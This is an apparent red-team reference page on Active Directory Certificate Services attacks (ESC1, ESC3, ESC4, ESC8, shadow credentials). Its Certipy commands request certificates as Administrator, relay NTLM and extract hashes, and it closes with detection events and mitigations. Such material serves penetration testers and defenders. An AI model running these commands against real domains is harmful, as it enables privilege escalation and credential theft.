Certificate Attacks (AD CS)
Overview
Active Directory Certificate Services (AD CS) is an enterprise PKI that issues certificates for authentication, encryption, and code signing. Misconfigurations in certificate templates and CA settings create privilege escalation paths. Certipy is the primary tool for enumerating and exploiting AD CS from Linux. The most common attacks are ESC1 (template allows subject alternative name), ESC4 (template is writable), and ESC8 (web enrollment with NTLM relay).
ATT&CK Mapping
- Tactic: TA0006 - Credential Access
- Technique: T1649 - Steal or Forge Authentication Certificates
Prerequisites
- Valid domain credentials (any domain user for enumeration)
- Network access to the Certificate Authority
- Certipy:
sudo apt install -y certipy-ad
Techniques
Enumerate AD CS
# Certipy
# https://github.com/ly4k/Certipy
certipy-ad find -u '<user>@<domain>' -p '<password>' -dc-ip <dc_ip> -stdout
# Show only vulnerable templates
certipy-ad find -u '<user>@<domain>' -p '<password>' -dc-ip <dc_ip> -vulnerable -stdout
# Show only enabled templates
certipy-ad find -u '<user>@<domain>' -p '<password>' -dc-ip <dc_ip> -enabled -stdout
# Save output to files
certipy-ad find -u '<user>@<domain>' -p '<password>' -dc-ip <dc_ip> -vulnerable -output certipy
ESC1 — Misconfigured Certificate Template (SAN)
ESC1 requires four conditions: (1) the template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled (enrollee can specify a SAN), (2) the template has Client Authentication EKU (or equivalent like Smart Card Logon), (3) low-privileged users have enrollment rights, and (4) Manager Approval is not required. When all four are met, request a certificate as another user:
# Certipy — request certificate with alternative UPN
# https://github.com/ly4k/Certipy
certipy-ad req -u '<user>@<domain>' -p '<password>' -ca '<CA_name>' -template '<template_name>' -upn 'Administrator@<domain>' -dc-ip <dc_ip>
This produces a .pfx file. Use it to authenticate:
# Certipy — authenticate with the certificate
# https://github.com/ly4k/Certipy
certipy-ad auth -pfx administrator.pfx -dc-ip <dc_ip>
This returns the NTLM hash for the specified user.
ESC3 — Enrollment Agent
If a template allows enrollment as a Certificate Request Agent, and another template allows enrollment on behalf of others:
# Step 1 — Request enrollment agent certificate
# Certipy
# https://github.com/ly4k/Certipy
certipy-ad req -u '<user>@<domain>' -p '<password>' -ca '<CA_name>' -template '<agent_template>'
# Step 2 — Use it to request on behalf of Administrator
certipy-ad req -u '<user>@<domain>' -p '<password>' -ca '<CA_name>' -template '<vulnerable_template>' -on-behalf-of '<domain>\Administrator' -pfx <agent_cert.pfx>
ESC4 — Writable Certificate Template
If you have write access to a certificate template, modify it to be vulnerable (add SAN flag, change enrollment permissions), then exploit as ESC1:
# Certipy — modify template to allow SAN
# https://github.com/ly4k/Certipy
certipy-ad template -u '<user>@<domain>' -p '<password>' -template '<template_name>' -save-configuration template_backup.json
# Request certificate with modified template (ESC1)
certipy-ad req -u '<user>@<domain>' -p '<password>' -ca '<CA_name>' -template '<template_name>' -upn 'Administrator@<domain>' -dc-ip <dc_ip>
# Restore original template
certipy-ad template -u '<user>@<domain>' -p '<password>' -template '<template_name>' -write-configuration template_backup.json
ESC8 — NTLM Relay to Web Enrollment
If the CA has Web Enrollment enabled without Extended Protection for Authentication (EPA/Channel Binding), relay NTLM authentication to it. This commonly occurs over HTTP, but HTTPS without EPA is also vulnerable:
# Certipy — start relay listener
# https://github.com/ly4k/Certipy
certipy-ad relay -target http://<CA_ip> -template 'DomainController'
Coerce authentication (e.g., PetitPotam, PrinterBug) to your relay listener. The relay requests a certificate on behalf of the authenticating account.
Authenticate with Certificate
# Certipy — authenticate with PFX and get NTLM hash
# https://github.com/ly4k/Certipy
certipy-ad auth -pfx <cert.pfx> -dc-ip <dc_ip>
# Authenticate with PFX and get LDAP shell
certipy-ad auth -pfx <cert.pfx> -dc-ip <dc_ip> -ldap-shell
Shadow Credentials
If you have write access to a user/computer's msDS-KeyCredentialLink, add a key credential and authenticate with it:
# Certipy — add shadow credentials
# https://github.com/ly4k/Certipy
certipy-ad shadow auto -u '<user>@<domain>' -p '<password>' -account '<target>' -dc-ip <dc_ip>
Detection Methods
Network-Based Detection
- Certificate enrollment requests for templates that allow SAN from unusual sources
- NTLM relay traffic to CA web enrollment endpoints
- Certificate-based authentication from accounts that don't normally use certificates
Host-Based Detection
- Event 4886 (Certificate Services received a certificate request) — monitor for unusual template usage
- Event 4887 (Certificate Services approved and issued a certificate)
- Changes to certificate template objects in AD
- Modifications to
msDS-KeyCredentialLinkattribute
Mitigation Strategies
- Audit certificate templates — remove the
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTflag where not needed - Restrict enrollment permissions — limit which users can enroll in each template
- Disable web enrollment — or enforce HTTPS with Extended Protection for Authentication
- Monitor certificate issuance — alert on certificates requested with SAN for high-privileged accounts
- Require CA certificate manager approval — for sensitive templates